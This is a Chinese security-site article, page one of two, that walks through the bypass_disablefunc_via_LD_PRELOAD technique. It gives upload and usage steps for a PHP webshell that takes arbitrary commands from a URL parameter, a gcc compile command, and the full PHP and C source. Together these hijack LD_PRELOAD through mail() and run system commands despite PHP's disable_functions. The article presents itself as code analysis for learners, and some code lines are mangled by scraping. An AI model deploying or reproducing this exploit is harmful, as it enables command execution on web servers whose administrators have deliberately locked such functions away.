欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

突破PHP函数禁用执行Shell代码分析

来源:本站整理 作者:佚名 时间:2020-03-07 TAG: 我要投稿

本文为yangyangwithgnu师傅的bypass_disablefunc_via_LD_PRELOAD工程代码分析,虽yangyangwithgnu师傅写的核心思想非常清楚,但像本人一样的菜鸟缺乏一些概念基础导致难于理解整体,为此通过结合一些基础来分析源码。
一、问题描述
Getshell时无法执行系统命令
二、直接利用过程
将bypass_disablefunc.php 和 bypass_disablefunc_x64.so共享文件传到目标服务器上,指定三个参数构造URL。
http://site.com/bypass_disablefunc.php?cmd=命令执行输入&outpath=outpath&sopath=sopath
一是 cmd 参数,待执行的系统命令;
二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;
三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so)(上传时指定),另外关于该参数,你应注意 web 是否可跨目录访问到它。
前提:
了解系统信息,如果系统不是debian、x64同类型的linux系统则需要重新编译
bypass_disablefunc_x64.so 为执行命令的共享对象,
用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
将 bypass_disablefunc.c 编译而来。 若目标为 x86 架构,需要加上 -m32 选项重新编译,bypass_disablefunc_x86.so。
保证:outpath文件路径web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;
三、代码执行过程描述
1、先把恶意shell指令写成cmd >/tmp/xx 2>&1,以便读取返回信息及错误信息;
2、通过写入新的环境变量EVIL_CMDLINE(系统不存在,工程生成),从而传递恶意shell指令给予共享文件等待执行;
3、通过写入LD_PRELOAD环境变量来使准备好的共享文件代码优先加载;
4、通过mail函数触发共享文件加载;
共享文件内容工作:通过__attribute__ ((__constructor__))修饰符修饰函数使得共享文件一旦被加载就会执行,无论触发加载函数(这里使用的mail)是否执行成功与否、第三方插件是否存在,只要加载即执行
5、共享文件被加载,__attribute__ ((__constructor__))修饰的系统函数会比触发加载的第三方插件函数先执行。在执行系统函数system(cmdline)前,使用extern char** environ打断共享文件的二次加载(不然第二次加载的构造函数再执行到系统函数system(cmdline)前又第三次加载该共享文件,往返,从而到达无限循环)。
6、命令的二进制文件顺利在系统的内存中被执行,执行的结果或错误信息都记录到/tmp/xx文件中。
7、通过nl2br(file_get_contents($out_path)) 句子分行的显示在网页页面上,最后通过unlink删除文件,等待下一次的写入、显示。
四、代码预览
bypass_disablefunc.php文件——传递恶意shell命令、设置最实现最高级加载、显示命令执行情况
echo "
 example: http://site.com/bypass_disablefunc.php?  
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";#第一步
    putenv("EVIL_CMDLINE=" . $evil_cmdline);#第二步
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);#第三步
    mail("", "", "", "");#第四步
    echo "
 output: " . nl2br(file_get_contents($out_path)) . "";
    unlink($out_path);第七步
?>
bypass_disablefunc_x64.so文件的C语言代码——执行恶意shell指令
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}
五、代码分析
01目的:编写在系统调用第三方组件函数前先执行的函数
02操作
共享对象文件使用c语言来编写
共享的函数使用__attribute__ ((__constructor__)) 进行修饰
__attribute__ ((__constructor__)) void preload (void)
03基础概念
GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 。
01目的:停止环境变量对system(cmdline)函数执行前的打断
02操作:
共享文件C语言中加入以下代码,通过改环境写入\0进行清空环境变量
extern char** environ ;
int i;
for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载